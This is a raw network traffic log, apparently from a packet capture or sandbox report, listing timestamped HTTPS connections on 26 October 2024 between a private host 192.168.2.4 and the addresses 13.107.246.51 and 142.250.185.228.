Oct 26, 2024 13:45:31.204135895 CEST	443	49859	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.294708014 CEST	443	49855	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.295488119 CEST	49855	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.295511961 CEST	443	49855	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.296148062 CEST	49855	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.296154022 CEST	443	49855	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.329080105 CEST	443	49856	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.329813004 CEST	49856	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.329832077 CEST	443	49856	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.330488920 CEST	49856	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.330495119 CEST	443	49856	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.412204027 CEST	443	49857	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.413090944 CEST	49857	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.413125038 CEST	443	49857	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.413619041 CEST	49857	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.413625002 CEST	443	49857	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.423698902 CEST	443	49855	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.423789024 CEST	443	49855	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.423841000 CEST	49855	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.424222946 CEST	49855	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.424222946 CEST	49855	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.424238920 CEST	443	49855	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.424247026 CEST	443	49855	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.428036928 CEST	49860	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.428078890 CEST	443	49860	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.428178072 CEST	49860	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.428380013 CEST	49860	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.428394079 CEST	443	49860	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.462533951 CEST	443	49856	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.462601900 CEST	443	49856	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.462728024 CEST	49856	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.462973118 CEST	49856	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.462989092 CEST	443	49856	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.463000059 CEST	49856	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.463005066 CEST	443	49856	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.466960907 CEST	49861	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.467000961 CEST	443	49861	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.467102051 CEST	49861	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.467269897 CEST	49861	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.467292070 CEST	443	49861	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.545913935 CEST	443	49857	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.545945883 CEST	443	49857	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.545994043 CEST	443	49857	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.546053886 CEST	49857	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.546097040 CEST	49857	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.546459913 CEST	49857	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.546479940 CEST	443	49857	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.546494961 CEST	49857	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.546500921 CEST	443	49857	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.550658941 CEST	49862	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.550703049 CEST	443	49862	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.550782919 CEST	49862	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.550965071 CEST	49862	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.550980091 CEST	443	49862	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.689323902 CEST	443	49858	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.689927101 CEST	49858	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.689951897 CEST	443	49858	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.690473080 CEST	49858	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.690480947 CEST	443	49858	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.819036961 CEST	443	49858	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.819217920 CEST	443	49858	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.819272041 CEST	49858	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.820084095 CEST	49858	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.820099115 CEST	443	49858	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.820132017 CEST	49858	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.820137978 CEST	443	49858	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.825498104 CEST	49863	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.825541973 CEST	443	49863	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.825820923 CEST	49863	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.826109886 CEST	49863	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.826132059 CEST	443	49863	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.974720001 CEST	443	49859	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.975384951 CEST	49859	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.975403070 CEST	443	49859	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.976056099 CEST	49859	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.976061106 CEST	443	49859	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.107434988 CEST	443	49859	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.107532978 CEST	443	49859	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.107631922 CEST	49859	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.107822895 CEST	49859	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.107842922 CEST	443	49859	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.107877016 CEST	49859	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.107882023 CEST	443	49859	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.111500978 CEST	49864	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.111531019 CEST	443	49864	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.111624956 CEST	49864	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.111855030 CEST	49864	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.111871958 CEST	443	49864	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.136709929 CEST	443	49803	142.250.185.228	192.168.2.4
Oct 26, 2024 13:45:32.136842012 CEST	443	49803	142.250.185.228	192.168.2.4
Oct 26, 2024 13:45:32.136915922 CEST	49803	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:45:32.175551891 CEST	443	49860	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.177694082 CEST	49860	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.177733898 CEST	443	49860	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.178352118 CEST	49860	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.178359032 CEST	443	49860	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.184714079 CEST	443	49861	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.185682058 CEST	49861	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.185697079 CEST	443	49861	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.190907955 CEST	49861	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.190922022 CEST	443	49861	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.287061930 CEST	443	49862	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.287856102 CEST	49862	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.287868023 CEST	443	49862	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.288347006 CEST	49862	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.288352013 CEST	443	49862	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.307904959 CEST	443	49860	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.308001041 CEST	443	49860	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.308212042 CEST	49860	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.308264971 CEST	49860	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.308289051 CEST	443	49860	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.308300972 CEST	49860	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.308307886 CEST	443	49860	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.311968088 CEST	49865	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.312038898 CEST	443	49865	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.312109947 CEST	49865	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.312277079 CEST	49865	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.312287092 CEST	443	49865	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.316252947 CEST	443	49861	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.316302061 CEST	443	49861	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.316354990 CEST	443	49861	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.316412926 CEST	49861	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.316561937 CEST	49861	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.316562891 CEST	49861	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.316591024 CEST	443	49861	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.316601038 CEST	443	49861	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.319803953 CEST	49866	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.319835901 CEST	443	49866	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.319905043 CEST	49866	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.320096970 CEST	49866	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.320111990 CEST	443	49866	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.417581081 CEST	443	49862	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.417646885 CEST	443	49862	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.418010950 CEST	49862	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.418010950 CEST	49862	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.418055058 CEST	49862	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.418071985 CEST	443	49862	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.421833038 CEST	49867	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.421873093 CEST	443	49867	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.422040939 CEST	49867	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.422386885 CEST	49867	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.422408104 CEST	443	49867	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.549948931 CEST	443	49863	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.550753117 CEST	49863	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.550770044 CEST	443	49863	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.551449060 CEST	49863	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.551455021 CEST	443	49863	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.679332972 CEST	443	49863	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.679496050 CEST	443	49863	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.683439016 CEST	49863	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.683687925 CEST	49863	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.683721066 CEST	443	49863	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.683751106 CEST	49863	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.683758974 CEST	443	49863	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.700453997 CEST	49868	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.700551033 CEST	443	49868	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.700720072 CEST	49868	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.701010942 CEST	49868	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.701049089 CEST	443	49868	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.852842093 CEST	443	49864	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.855736971 CEST	49864	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.855751991 CEST	443	49864	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.856311083 CEST	49864	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.856316090 CEST	443	49864	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.983335018 CEST	443	49864	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.983408928 CEST	443	49864	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.983658075 CEST	49864	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.983692884 CEST	49864	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.983717918 CEST	443	49864	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.983730078 CEST	49864	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.983736038 CEST	443	49864	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.987003088 CEST	49869	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.987050056 CEST	443	49869	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:32.987121105 CEST	49869	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.987267017 CEST	49869	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:32.987278938 CEST	443	49869	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.055656910 CEST	443	49866	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.056380033 CEST	49866	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.056399107 CEST	443	49866	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.057050943 CEST	49866	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.057055950 CEST	443	49866	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.066025019 CEST	443	49865	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.066334009 CEST	49865	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.066414118 CEST	443	49865	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.066807032 CEST	49865	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.066826105 CEST	443	49865	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.174333096 CEST	443	49867	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.177726984 CEST	49867	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.177764893 CEST	443	49867	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.179732084 CEST	49867	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.179740906 CEST	443	49867	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.187043905 CEST	443	49866	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.187136889 CEST	443	49866	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.187238932 CEST	49866	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.187446117 CEST	49866	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.187479019 CEST	443	49866	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.187490940 CEST	49866	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.187496901 CEST	443	49866	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.190855980 CEST	49870	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.190908909 CEST	443	49870	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.190995932 CEST	49870	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.191174984 CEST	49870	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.191193104 CEST	443	49870	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.308495045 CEST	443	49867	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.308604002 CEST	443	49867	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.308943033 CEST	49867	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.309226036 CEST	49867	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.309252024 CEST	443	49867	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.309267998 CEST	49867	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.309274912 CEST	443	49867	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.313110113 CEST	49871	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.313154936 CEST	443	49871	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.313245058 CEST	49871	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.313594103 CEST	49871	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.313607931 CEST	443	49871	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.384339094 CEST	443	49865	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.384422064 CEST	443	49865	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.384529114 CEST	49865	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.384550095 CEST	443	49865	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.384608984 CEST	49865	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.384833097 CEST	49865	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.384861946 CEST	443	49865	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.384876966 CEST	49865	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.384885073 CEST	443	49865	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.388417006 CEST	49872	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.388453960 CEST	443	49872	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.388573885 CEST	49872	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.388756990 CEST	49872	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.388773918 CEST	443	49872	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.449481964 CEST	443	49868	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.451803923 CEST	49868	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.451845884 CEST	443	49868	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.452322006 CEST	49868	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.452330112 CEST	443	49868	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.581268072 CEST	443	49868	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.581517935 CEST	443	49868	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.582355976 CEST	49868	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.582434893 CEST	49868	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.582458973 CEST	443	49868	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.582472086 CEST	49868	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.582479954 CEST	443	49868	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.586569071 CEST	49873	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.586646080 CEST	443	49873	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.586724997 CEST	49873	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.586905003 CEST	49873	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.586931944 CEST	443	49873	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.746912956 CEST	443	49869	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.747550011 CEST	49869	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.747570992 CEST	443	49869	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:33.748209953 CEST	49869	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:33.748215914 CEST	443	49869	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.001785994 CEST	443	49869	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.001826048 CEST	443	49869	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.001868010 CEST	49869	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.001871109 CEST	443	49869	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.001908064 CEST	49869	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.002202034 CEST	49869	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.002222061 CEST	443	49869	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.002235889 CEST	49869	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.002242088 CEST	443	49869	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.005965948 CEST	49874	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.006001949 CEST	443	49874	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.006124973 CEST	49874	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.006284952 CEST	49874	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.006300926 CEST	443	49874	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.071222067 CEST	49803	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:45:34.071254969 CEST	443	49803	142.250.185.228	192.168.2.4
Oct 26, 2024 13:45:34.130826950 CEST	443	49871	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.131654024 CEST	49871	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.131694078 CEST	443	49871	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.132167101 CEST	49871	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.132184029 CEST	443	49871	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.132344961 CEST	443	49870	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.132750988 CEST	49870	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.132783890 CEST	443	49870	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.133353949 CEST	49870	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.133362055 CEST	443	49870	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.146064997 CEST	443	49872	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.146378994 CEST	49872	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.146437883 CEST	443	49872	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.146851063 CEST	49872	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.146867037 CEST	443	49872	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.261738062 CEST	443	49871	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.261797905 CEST	443	49871	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.261846066 CEST	443	49871	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.261903048 CEST	49871	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.265326977 CEST	49871	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.265357018 CEST	443	49871	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.265373945 CEST	49871	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.265381098 CEST	443	49871	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.268541098 CEST	49875	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.268573999 CEST	443	49875	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.268743038 CEST	49875	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.269016981 CEST	49875	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.269032001 CEST	443	49875	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.276689053 CEST	443	49872	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.276856899 CEST	443	49872	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.276954889 CEST	49872	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.277023077 CEST	49872	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.277023077 CEST	49872	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.277064085 CEST	443	49872	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.277091026 CEST	443	49872	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.283334970 CEST	49876	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.283366919 CEST	443	49876	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.283456087 CEST	49876	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.283612013 CEST	49876	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.283626080 CEST	443	49876	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.325330973 CEST	443	49873	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.326040983 CEST	49873	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.326061010 CEST	443	49873	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.326711893 CEST	49873	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.326716900 CEST	443	49873	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.409315109 CEST	443	49870	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.409418106 CEST	443	49870	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.409712076 CEST	49870	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.409778118 CEST	49870	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.409801006 CEST	443	49870	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.409816027 CEST	49870	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.409823895 CEST	443	49870	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.413414001 CEST	49877	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.413443089 CEST	443	49877	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.413533926 CEST	49877	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.413707018 CEST	49877	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.413722038 CEST	443	49877	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.458940029 CEST	443	49873	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.459016085 CEST	443	49873	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.459131002 CEST	443	49873	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.459234953 CEST	49873	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.459260941 CEST	49873	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.459531069 CEST	49873	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.459554911 CEST	443	49873	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:34.459568977 CEST	49873	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:34.459575891 CEST	443	49873	13.107.246.51	192.168.2.4
